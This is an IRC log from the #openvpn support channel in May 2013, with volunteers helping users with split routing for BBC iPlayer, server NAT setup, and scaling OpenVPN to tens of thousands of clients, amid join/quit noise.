15:43 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Ping timeout: 240 seconds]
15:44 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
15:44 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
15:46 -!- Wintereise [~reise@205.185.126.190] has joined #openvpn
16:01 -!- Netsplit over, joins: Dropje_
16:03 -!- krzie [~k@2610:150:4002::3:1] has joined #openvpn
16:04 -!- cloneman_ [cloneman@1337.montrealdark.com] has joined #openvpn
16:04 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds]
16:04 -!- c|oneman [cloneman@1337.montrealdark.com] has quit [Ping timeout: 245 seconds]
16:04 -!- Champi [Champi@rootshell.fr] has quit [Ping timeout: 245 seconds]
16:05 -!- Champi_ [Champi@rootshell.fr] has joined #openvpn
16:05 -!- Champi_ is now known as Champi
16:15 -!- Six6siX_ [~six6six@jasmine1.sammybakar.com] has joined #openvpn
16:18 -!- zarrsh_ [~zarrsh@cpe-65-27-192-220.cinci.res.rr.com] has joined #openvpn
16:19 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
16:20 -!- erry____ [erry@freenode/staff/erry] has joined #openvpn
16:20 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
16:20 -!- erry [erry@freenode/staff/erry] has quit [Killed (tomaw (<No reason given>))]
16:21 -!- erry____ is now known as erry
16:21 -!- Tera [~tera@ip133-114.seclan.com] has joined #openvpn
16:24 -!- Netsplit *.net <-> *.split quits: zarrsh, MrPocketz, JackSparrow, pjschmit1, Six6siX, Tera_, tarrant1, C-S-B
16:24 -!- t35guy [~Andrew@ip24-252-25-244.om.om.cox.net] has joined #openvpn
16:25 -!- Netsplit over, joins: JackSparrow
16:25 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-nsorbwdablktshwe] has quit [Ping timeout: 264 seconds]
16:25 -!- pjschmitt [~parker@209.141.56.12] has joined #openvpn
16:25 -!- Drone4four__ [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 264 seconds]
16:25 -!- Drone4four__ [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
16:25 -!- trumee [~parul@185.11.39.145] has joined #openvpn
16:26 < trumee> hi, i have setup a vpn connection to my server in UK. I want to watch BBC iplayer. I only want to route bbc ip address over the vpn.
16:27 < trumee> It seems bbc has multiple addresses and the ip address i forwarded doesnt work
16:27 < pekster> trumee, you're better off using a web proxy that uses a proxy for specific URLs, like *.uk, to your proxy
16:27 < trumee> is it possible to find out all the ip address which BBC uses or otherwise tunnel all the UK BLOCK ip address
16:28 < pekster> Not really, no
16:28 < trumee> pekster: i have doing this on my openwrt router running openvpn
16:29 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has joined #openvpn
16:29 -!- C-S-B [~C-S-B@craigsblackie.broker.freenet6.net] has joined #openvpn
16:29 < pekster> I use a firefox plugin called foxyproxy that has a very flexible rule syntax when I need stuff like that, although this assumes it's running out of your browser (you didn't clarify that point)
16:29 < trumee> pekster: so i should setup a webproxy on my local router and webproxy on my remote router?
16:30 -!- erry [erry@freenode/staff/erry] has quit [Quit: Reconnecting]
16:30 < pekster> Just a proxy at the remote end of your VPN
16:30 < trumee> pekster: ok, i am using the android iplayer
16:30 < pekster> tinyproxy or something
16:30 -!- erry [erry@freenode/staff/erry] has joined #openvpn
16:30 < pekster> There's not really a good way to do what you want an an IP layer, so you need something that can act as a proxy for whatever traffic "iplayer" is doing. I've no clue what that is
16:30 < trumee> pekster: like this, android<>tinyproxy<>vpn<>remote_uk_router ?
16:31 < pekster> tinyproxy is a server, so no
16:32 -!- erry [erry@freenode/staff/erry] has quit [Remote host closed the connection]
16:32 < trumee> android<>tinyproxy<>vpn<><tinyproxy on remote_uk_router>?
16:32 -!- erry__ [erry@freenode/staff/erry] has joined #openvpn
16:32 < pekster> no. All of what I said you can ignore since I assumed you had a PC with a web browser
16:33 < pekster> Try to be more clear next time you ask for help, because android's firefox won't support the same plugin API as a desktop would. And you're not even *using* a web browser
16:33 < pekster> You need something android specific, and that's way outside the scope of this channel
16:33 < pekster> openvpn works on an IP layer; it can't help make your phone magically do what you want
16:34 < trumee> pekster: right. it is possible for tinyproxy to forward packets on openvpn tunnel
16:34 < pekster> tinyproxy is a standard http proxy server
16:34 < pekster> You can use it as such
16:35 < pekster> It's only useful to run that on your *server* side. Stop assuming I told you to run it on your phone, becuase I didn't.
16:35 -!- erry__ is now known as erry
16:35 < trumee> pekster: thing is that if i forward ALL my traffic over openvpn, then it would work. However, i dont want to do that, since it slows down my internet
16:35 < pekster> You're really better off asking in an android specific channel if you want to make some android app proxy-aware. I've no idea how that's done, norn do I care
16:36 < trumee> pekster: actually, i do know how to tunnel all traffic through a ssh socks proxy
16:36 < trumee> pekster: on android
16:37 < pekster> !tcptcp
16:37 < pekster> !tcp
16:37 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
16:37 < pekster> You end up with the same problem if you do a tcp-stream over an ssh-tunnel
16:38 < trumee> pekster: ok
16:39 < trumee> pekster: guess things are more complicated than i though
16:39 < pekster> Yup. Things get messy when you want to arbitrarily route "some but not all" traffic differently
16:39 < trumee> pekster: thank you for your help
16:40 < pekster> Especially when you can't define that in nice blocks of IPs (as is the case with web addresses that come from DNS and won't be related in any high-level sense)
16:49 -!- Six6siX_ [~six6six@jasmine1.sammybakar.com] has quit [Ping timeout: 256 seconds]
16:55 < kisom> trumee: You could write a script that pulls all the A records and pushes them out to your client when you connect.
16:58 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 256 seconds]
16:59 < pekster> For "every" BBC domain? What if they add a new subdomain that didn't exist the day before?
16:59 < pekster> Unless the problem is easier than was described earlier
--- Log closed Sat May 11 17:02:25 2013
--- Log opened Sat May 11 17:02:39 2013
17:02 -!- ecrist_ [~ecrist@token-black.secure-computing.net] has joined #openvpn
17:02 -!- Irssi: #openvpn: Total of 192 nicks [7 ops, 0 halfops, 3 voices, 182 normal]
17:03 -!- Thermi_ [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
17:03 -!- Irssi: Join to #openvpn was synced in 35 secs
17:03 -!- eliasp_ [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
17:04 -!- master_of_master [~master_of@p4FF24ACE.dip0.t-ipconnect.de] has joined #openvpn
17:05 -!- spacedust [~info@dev.gentooexperimental.org] has joined #openvpn
17:05 -!- zeroXten_ [~zeroXten@0x10.co.uk] has joined #openvpn
17:08 -!- Wintereise [~reise@205.185.126.190] has quit [Changing host]
17:08 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
17:08 -!- stephan48 [stephan@nemesis.stejau.de] has quit [Changing host]
17:08 -!- stephan48 [stephan@opennic/stephan] has joined #openvpn
17:08 -!- Poster|x [~poster@cpe-173-88-34-118.columbus.res.rr.com] has joined #openvpn
17:08 -!- root is now known as Guest33252
17:08 -!- spacedust is now known as Guest72917
17:08 -!- _b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
17:10 -!- Netsplit *.net <-> *.split quits: master_o1_master, Guest71349, ele, hg_5, Thermi, @ecrist, eliasp, b00b, zeroXten, Sarah,  (+1 more, use /NETSPLIT to show all of them)
17:10 -!- _b00b is now known as b00b
17:11 -!- Sarah [~Sarah@astersoftworks.com] has joined #openvpn
17:13 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
17:20 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
17:44 -!- tjz [~tjz@unaffiliated/tjz] has quit [Read error: Connection reset by peer]
17:44 -!- newbie|3 [~tjz@67.228.240.11-static.reverse.softlayer.com] has joined #openvpn
17:45 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
17:45 -!- qmr_ [~qmr@50.116.18.140] has joined #openvpn
17:45 -!- blorgh_ [~bagar@c-54d172d5.029-192-7570701.cust.bredbandsbolaget.se] has joined #openvpn
17:45 -!- qmr [~qmr@50.116.18.140] has quit [Ping timeout: 256 seconds]
17:45 -!- blorgh [~bagar@c-54d172d5.029-192-7570701.cust.bredbandsbolaget.se] has quit [Ping timeout: 256 seconds]
17:46 -!- ppr [~peper@gentoo/developer/peper] has quit [Ping timeout: 256 seconds]
17:46 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 256 seconds]
17:46 -!- haasn [~nand@2a01:4f8:d13:5245::2] has quit [Ping timeout: 256 seconds]
17:46 -!- pnielsen [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has quit [Ping timeout: 256 seconds]
17:46 -!- Guest33252 [~xbytez@unaffiliated/magix] has quit [Ping timeout: 256 seconds]
17:46 -!- mete [~mete@mete.shell.la] has quit [Ping timeout: 245 seconds]
17:47 -!- s7r1 [~s7r@82.137.10.166] has joined #openvpn
17:47 -!- Drone4four_ [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
17:47 -!- peper [~peper@gentoo/developer/peper] has joined #openvpn
17:48 -!- xBytez [~xbytez@unaffiliated/magix] has joined #openvpn
17:48 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
17:49 -!- kloeri_ [~kloeri@freenode/staff/exherbo.kloeri] has joined #openvpn
17:49 -!- pnielsen [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has joined #openvpn
17:50 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
17:50 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
17:50 -!- cnf [qB0QQpdCVG@unaffiliated/cnf] has quit [Ping timeout: 256 seconds]
17:50 -!- abyss [~abyss@i-free.pl] has quit [Ping timeout: 256 seconds]
17:50 -!- sedulous [~sedulous@unaffiliated/sed/x-0159859] has quit [Ping timeout: 256 seconds]
17:50 -!- haasn [~nand@2a01:4f8:d13:5245::2] has joined #openvpn
17:50 -!- abyss [~abyss@i-free.pl] has joined #openvpn
17:51 -!- master_o1_master [~master_of@p4FF24ACE.dip0.t-ipconnect.de] has joined #openvpn
17:51 -!- Devastator- [~devas@177.99.153.2] has joined #openvpn
17:51 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 256 seconds]
17:51 -!- Drone4four__ [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Read error: Operation timed out]
17:51 -!- mete [~mete@mete.shell.la] has joined #openvpn
17:52 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has quit [Ping timeout: 606 seconds]
17:52 -!- sedulous [~sedulous@unaffiliated/sed/x-0159859] has joined #openvpn
17:52 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
17:52 -!- erry__ [erry@freenode/staff/erry] has joined #openvpn
17:52 -!- cnf [axd7NYfNv1@unaffiliated/cnf] has joined #openvpn
17:53 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
17:53 -!- kloeri_ is now known as kloeri
17:53 -!- gardar_ [~gardar@gardar.net] has joined #openvpn
17:54 -!- cyberspace- [20253@ninthfloor.org] has quit [Disconnected by services]
17:54 -!- Denial- [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
17:54 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
17:55 -!- Thermi_ [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 256 seconds]
17:55 -!- master_of_master [~master_of@p4FF24ACE.dip0.t-ipconnect.de] has quit [Ping timeout: 256 seconds]
17:55 -!- eliasp_ [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 256 seconds]
17:55 -!- gardar [~gardar@gardar.net] has quit [Ping timeout: 256 seconds]
17:55 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Ping timeout: 256 seconds]
17:55 -!- TypoNe [~itsme@195.197.184.87] has quit [Ping timeout: 256 seconds]
17:55 -!- Masxmasx [~IetsVulga@unaffiliated/masxmasx] has quit [Ping timeout: 256 seconds]
17:55 -!- Devastator [~devas@177.99.153.2] has quit [Ping timeout: 256 seconds]
17:55 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 256 seconds]
17:55 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit [Ping timeout: 256 seconds]
17:55 -!- Six6siX [~six6six@cpc1-ely06-2-0-cust202.5-1.cable.virginmedia.com] has joined #openvpn
17:56 -!- mjixx_ [~markus@80.67.14.31] has quit [Ping timeout: 256 seconds]
17:56 -!- defswork_ [~andy@141.0.50.105] has quit [Ping timeout: 256 seconds]
17:56 -!- mjixx [~markus@80.67.14.31] has joined #openvpn
17:56 -!- erry [erry@freenode/staff/erry] has quit [Read error: Connection reset by peer]
17:56 -!- Masxmasx{AFK} [~IetsVulga@u134.baconseed.org] has joined #openvpn
17:56 -!- Devastator [~devas@177.99.153.2] has joined #openvpn
17:57 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
17:57 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
17:57 -!- defswork_ [~andy@141.0.50.105] has joined #openvpn
17:58 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
17:59 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
17:59 -!- mode/#openvpn [+v s7r] by ChanServ
18:00 -!- Six6siX [~six6six@cpc1-ely06-2-0-cust202.5-1.cable.virginmedia.com] has quit [Ping timeout: 256 seconds]
18:05 -!- lbft__ [~lbft@199.195.249.177] has joined #openvpn
18:05 -!- cnfer [wNhZ4iBLTS@unaffiliated/cnf] has joined #openvpn
18:05 -!- Netsplit *.net <-> *.split quits: jzaw, Denial-, lbft, newbie|3, cnf, s7r1, Devastator-
18:05 -!- cnfer is now known as cnf
18:06 -!- Netsplit over, joins: jzaw
18:06 -!- defswork_ [~andy@141.0.50.105] has quit [Read error: Operation timed out]
18:07 -!- defswork_ [~andy@141.0.50.105] has joined #openvpn
18:12 -!- Naypalm [~Naypam@badfurdayisacunt.eu] has joined #openvpn
18:14 < Naypalm> I have my server(linux) set up and my client(windows) is connected, it's all fairly default with 10.8.0.1 as the gateway (linux) and I'm connected to it as 10.8.0.6 - but I can't work out the iptables command to pass packets back and forth so I can access the outside world
18:15 -!- gffa_ [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:16 < pekster> Naypalm, sounds like you want:
18:16 < pekster> !redirect
18:16 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
18:16 <@vpnHelper> http://ircpimps.org/redirect.png
18:17 < Naypalm> ohh thanks
18:18 < Naypalm> gimme a few I'll play with this
18:18 < Naypalm> !nat
18:19 -!- tarrant1 [~tarrant@mail.voidbyte.net] has joined #openvpn
18:19 < Naypalm> !def1
18:19 < Naypalm> no?
18:19 < pekster> Should work for anyone; maybe it's out to lunch or something?
18:19 < pekster> !nat
18:20 < pekster> !factoids whatis #openvpn nat
18:20 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-hotnznrznemexuxk] has joined #openvpn
18:20 < Naypalm> ho hum
18:20 < pekster> It might be about to ping out
18:20 < pekster> 1 sec
18:20 < Naypalm> following the flowchart I get to "is nat enabled on the VPN subnet" to which I do not know the answer
18:21 < pekster> Search for the term you want here while the bot is in no-man's-land: http://www.secure-computing.net/factoids.php
18:21 < pekster> You need to SNAT (or MASQUERADE) since the VPN subnet you're using is not globally-routable
18:21 < pekster> Same thing a home router does, basically
18:22 < rob0> !linnat
18:22 < rob0> hmm
18:23 < Naypalm> hmm
18:23 -!- APTX_ [APTX@unaffiliated/aptx] has joined #openvpn
18:23 -!- Neal|ZNC [neal@felix.ineal.me] has joined #openvpn
18:23 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services]
18:24 -!- Airwave_ [~Airwave@94-246-37.45.3p.ntebredband.no] has joined #openvpn
18:24 -!- EugeneK [eugene@clockworkmod.org] has joined #openvpn
18:24 < pekster> Ah, must have died with all the service stuff happening today
18:25 < rob0> ecrist_, bot flop ^^
18:25 < Naypalm> fixed!
18:25 < Naypalm> thank you guys!
18:25 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
18:25 -!- mode/#openvpn [+o vpnHelper] by ChanServ
18:25 < rob0> ecrist_, nm :)
18:25 < Naypalm> it was just the SNAT / MASQUERADE settings :)
18:25 < pekster> !ping
18:25 <@vpnHelper> pong
18:25 < Naypalm> love you all
18:26 -!- emcepe [~mcp@wolk-project.de] has joined #openvpn
18:26 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 240 seconds]
18:26 -!- tekzilla_ [~jon@24.134.142.157] has joined #openvpn
18:26 -!- johncarmack_ [~carmack@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
18:27 -!- lbft__ is now known as lbft
18:27 -!- rooth_ [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
18:27 -!- Netsplit *.net <-> *.split quits: Neal_, mcp, JackSparrow, kisom, EugeneKay, havoc, NuclearMeltdown, APTX, +hjohnson, david_,  (+9 more, use /NETSPLIT to show all of them)
18:27 -!- EugeneK is now known as EugeneKay
18:27 -!- Neal|ZNC is now known as Neal_
18:29 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
18:29 -!- mode/#openvpn [+o dazo_afk] by ChanServ
18:29 -!- dazo_afk is now known as dazo
18:29 -!- Netsplit over, joins: Cybertinus
18:31 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
18:31 -!- MikeH_ [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has joined #openvpn
18:31 -!- david_ [~david@192.40.56.116] has joined #openvpn
18:31 -!- NuclearMeltdown [rep@unaffiliated/antiliberal] has joined #openvpn
18:31 -!- hjohnson [~hans@S0106000db917e89a.vc.shawcable.net] has joined #openvpn
18:31 -!- kisom [~kisom@kisom.thr.kth.se] has joined #openvpn
18:31 -!- havoc [~havoc@neptune.chaillet.net] has joined #openvpn
18:31 -!- ServerMode/#openvpn [+v hjohnson] by lindbohm.freenode.net
18:35 -!- djjunde [~djjunde@dsl-espbrasgw1-54f9cf-178.dhcp.inet.fi] has joined #openvpn
18:37 -!- magoo_ [~mattw@209.114.46.149] has joined #openvpn
18:37 -!- Aketzu [akolehma@kelvin.aketzu.net] has joined #openvpn
18:37 -!- plai [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
18:38 -!- Netsplit *.net <-> *.split quits: deever, Tera, _quadDamage, rsc, Naypalm, zamba, KiNgMaR, GabrieleV, majuscule, stephan48,  (+5 more, use /NETSPLIT to show all of them)
18:38 -!- mode/#openvpn [+o plai] by ChanServ
18:38 -!- Netsplit *.net <-> *.split quits: ScriptFanix, kubbing, _mnathani_
18:38 -!- mback2k__ [sbnc@2a00:1828:2000:378:1337:0:59ee:5431] has joined #openvpn
18:38 -!- cnf [wNhZ4iBLTS@unaffiliated/cnf] has quit [Ping timeout: 256 seconds]
18:38 -!- johncarmack [~carmack@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
18:39 -!- jzaw_ [~jzaw@loki.dzki.co.uk] has joined #openvpn
18:39 -!- pekster_ [~rewt@openvpn/community/support/pekster] has joined #openvpn
18:40 -!- cnf [5Mt2QhIkHl@unaffiliated/cnf] has joined #openvpn
18:40 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Disconnected by services]
18:40 -!- pekster_ is now known as pekster
18:43 -!- stephan48 [stephan@nemesis.stejau.de] has joined #openvpn
18:43 -!- stephan48 [stephan@nemesis.stejau.de] has quit [Changing host]
18:43 -!- stephan48 [stephan@opennic/stephan] has joined #openvpn
18:43 -!- Martin`_ [martin@shell.ipv6.octocore.net] has joined #openvpn
18:43 -!- Netsplit over, joins: n2deep
18:43 -!- Netsplit over, joins: Tera
18:43 -!- Netsplit over, joins: _quadDamage, majuscule
18:44 -!- Netsplit over, joins: deever
18:45 -!- Netsplit *.net <-> *.split quits: Aketzu_, jzaw, rkantos, MacGyver, @plaisthos, magoo, johncarmack_, Zenum, tarrant1, Martin`,  (+3 more, use /NETSPLIT to show all of them)
18:45 -!- Martin`_ is now known as Martin`
18:45 -!- mback2k__ is now known as mback2k_
18:45 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-adktcvtoolowyqsb] has joined #openvpn
18:45 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has joined #openvpn
18:45 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has quit [Changing host]
18:45 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
18:46 -!- Netsplit over, joins: clever
18:46 -!- feth [foobar@ile-flottante.tuttu.info] has quit [Read error: Operation timed out]
18:47 -!- Netsplit over, joins: rkantos
18:47 -!- Champi [Champi@rootshell.fr] has joined #openvpn
18:48 -!- Netsplit over, joins: tarrant1
18:49 -!- Rallias [~rallias@unaffiliated/gasseus] has joined #openvpn
18:50 -!- feth [foobar@ile-flottante.tuttu.info] has joined #openvpn
18:50 -!- phunyguy_ [~quassel@h69-131-9-135.stmyga.broadband.dynamic.tds.net] has joined #openvpn
18:51 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
18:51 -!- Naypalm [~Naypam@badfurdayisacunt.eu] has joined #openvpn
18:51 -!- cloneman_ [cloneman@1337.montrealdark.com] has joined #openvpn
18:51 -!- zamba [marius@flage.org] has joined #openvpn
18:51 -!- phunyguy [~quassel@unaffiliated/phunyguy] has joined #openvpn
18:51 -!- RichardBronosky [~RichardBr@ec2-50-17-28-78.compute-1.amazonaws.com] has joined #openvpn
18:51 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
18:51 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
18:51 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
18:51 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
18:51 -!- RichardBronosky_ [~RichardBr@ec2-50-17-28-78.compute-1.amazonaws.com] has joined #openvpn
18:51 -!- phunyguy [~quassel@unaffiliated/phunyguy] has quit [Max SendQ exceeded]
18:51 -!- zamba [marius@flage.org] has quit [Max SendQ exceeded]
18:51 -!- RichardBronosky [~RichardBr@ec2-50-17-28-78.compute-1.amazonaws.com] has quit [Max SendQ exceeded]
18:51 -!- rsc [~robert@linuxnetz.de] has joined #openvpn
18:51 -!- rsc [~robert@linuxnetz.de] has quit [Changing host]
18:51 -!- rsc [~robert@fedora/rsc] has joined #openvpn
18:51 -!- zamba [marius@flage.org] has joined #openvpn
18:54 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
19:06 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
19:08 <+oc80z> !ping
19:08 <@vpnHelper> pong
19:08 <+oc80z> !help
19:08 <@vpnHelper> (help [<plugin>] [<command>]) -- This command gives a useful description of what <command> does. <plugin> is only necessary if the command is in more than one plugin.
19:08 <+oc80z> !help ping
19:08 <@vpnHelper> (ping takes no arguments) -- Checks to see if the bot is alive.
19:08 <+oc80z> :(
19:08 <+oc80z> heh sup.
19:09 -!- cloneman_ [cloneman@1337.montrealdark.com] has quit [Quit: ZNC - http://znc.in]
19:09 -!- trumee [~parul@185.11.39.145] has quit [Ping timeout: 252 seconds]
19:09 -!- c|oneman [cloneman@1337.montrealdark.com] has joined #openvpn
19:11 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 245 seconds]
19:12 < pekster> z
19:14 -!- Netsplit *.net <-> *.split quits: Naypalm, GabrieleV, KiNgMaR, kubbing, _mnathani_, ScriptFanix
19:35 -!- krzie [~k@2610:150:4002::3:1] has quit [Excess Flood]
19:36 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
19:36 -!- mode/#openvpn [+o krzee] by ChanServ
19:38 -!- ronnocol [~lance@mail.ronnoco.net] has joined #openvpn
19:40 < ronnocol> Hey all, I've been asked to scale a server for ~60-80K concurrent connections. 98% of these devices will be connected, but inactive. Current research shows that multiple ovpn processes (potentially w/ CPU affinity set) seems the way to go. Any other gotchas I should be worried about?
19:41 <@krzee> i cant imagine how many processes that's going to take
19:42 <@krzee> 1 gotchya would be if you use tap
19:42 <@krzee> you MUST use tun for that ^
19:42 <@krzee> you'll need many servers, just to be sure you know that
19:43 < ronnocol> hrm, I was hoping to use tap/layer2 for easy HA (letting IP addresses be managed by backend DHCP server)
19:46 < pekster> Idle connections don't eat much CPU (just during re-keys, so it might be a good idea to reduce the frequency of that, see --reneg-sec config option.) Some RAM is allocated too per-client
19:47 < pekster> Reducing the --keepalive timeout helps keep idle CPU usage down too as it'll be more permissive of temporary connection issues. Re-connections are somewhat expensive
19:47 < pekster> Erm, *increasing* the timeout, thus reducing the frequency of timeout disconnects
19:47 <@krzee> layer2 with 60k nodes would be fatal
19:47 < pekster> Indeed
19:47 < pekster> L3 or you're hosed
19:48 < ronnocol> Here's a bit of background of what I'm trying to do.
19:48 <@krzee> doesnt matter what you wanna do, you'll never survive with a l2 of 60k nodes
19:49 < ronnocol> well, hopefully you can tell me if this is even the right solution.
19:49 < EugeneKay> A good rule-of-thumb is to have no more than 100 connections per openvpn process
19:49 < EugeneKay> You run into context switching issues past that
19:50 < ronnocol> There are devices in the home that we wish to allow secure access to from outside of the home. In general we would expect that either using NAT-PMP or UPNP would allow the device to open ports on the router, but failing that, we want to host a secure proxy.
19:50 < EugeneKay> A modern 12-core server should be able to handle 2000 clients, bandwidth permitting.
19:50 < MacGyver> But that's true of any L2-setup, that's not an issue with TAP specifically, right?
19:50 < EugeneKay> Or more.
19:50 < EugeneKay> Correct; massive broadcast domains are baaaad juju.
19:50 < MacGyver> I mean, you wouldn't try to link Cisco switches for 60k clients :')
19:51 < EugeneKay> Tell that to Linode.
19:51 < EugeneKay> Crazy bastards
19:51 < pekster> EugeneKay: Well, no context switches when there's no traffic (beyond keepalives/re-keying, of course)
19:51 < pekster> I guess it'll cause more --status writes, but easy to keep those low frequency too
19:51 < EugeneKay> I'd keep the number low for that ONNNNNE time when all clients are active ;-)
19:52 < ronnocol> The hope was to allow the in home devices ovpn to the proxy, and if the out of home device couldn't connect via the WAN address at home, it would use a proxy that we host
19:52 < ronnocol> The proxy would get the hostname of the in home device, and then proxy to it via the ovpn connection.
19:55 < pekster> There's no reason at all you need an *Ethernet* link for that
19:55 < pekster> !tunortap
19:55 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
19:55 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
19:55 < pekster> Time to vastly re-define your needs
--- Log closed Sat May 11 20:03:07 2013
--- Log opened Sat May 11 20:03:24 2013
20:03 -!- ecrist [~ecrist@token-black.secure-computing.net] has joined #openvpn
20:03 -!- Irssi: #openvpn: Total of 203 nicks [7 ops, 0 halfops, 3 voices, 193 normal]
20:03 -!- mode/#openvpn [+o ecrist] by ChanServ
20:03 <@krzee> if it works, i congratulate, but i certainly wouldnt plan (or even hope) for it
20:03 < pekster> No need to bicker, I'm just actually curious if you had info on CPU usage of processing say the --keepalive at a 10 sec interval
20:03 <@krzee> i wish
20:03 -!- Irssi: Join to #openvpn was synced in 30 secs
20:03 <@krzee> not easy to find users with that many users active
20:03 -!- Tera_ [~tera@ip133-114.seclan.com] has joined #openvpn
20:03 -!- feth_ [foobar@ile-flottante.tuttu.info] has joined #openvpn
20:03  * pekster is betting is negligable, but doesn't have data on it either
20:04 -!- c|oneman [cloneman@1337.montrealdark.com] has quit [Ping timeout: 245 seconds]
20:04 < ronnocol> This is effectively the design: http://www.asciiflow.com/#Draw5222242137987993069
20:04 <@krzee> certainly none of my servers
20:04 <@vpnHelper> Title: Asciiflow - ASCII Flow Diagram Tool (at www.asciiflow.com)
20:04 -!- n2deep [n2deep@odin.sdf-eu.org] has quit [Ping timeout: 245 seconds]
20:04 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has quit [Ping timeout: 245 seconds]
20:04 -!- blorgh_ [~bagar@c-54d172d5.029-192-7570701.cust.bredbandsbolaget.se] has quit [Ping timeout: 245 seconds]
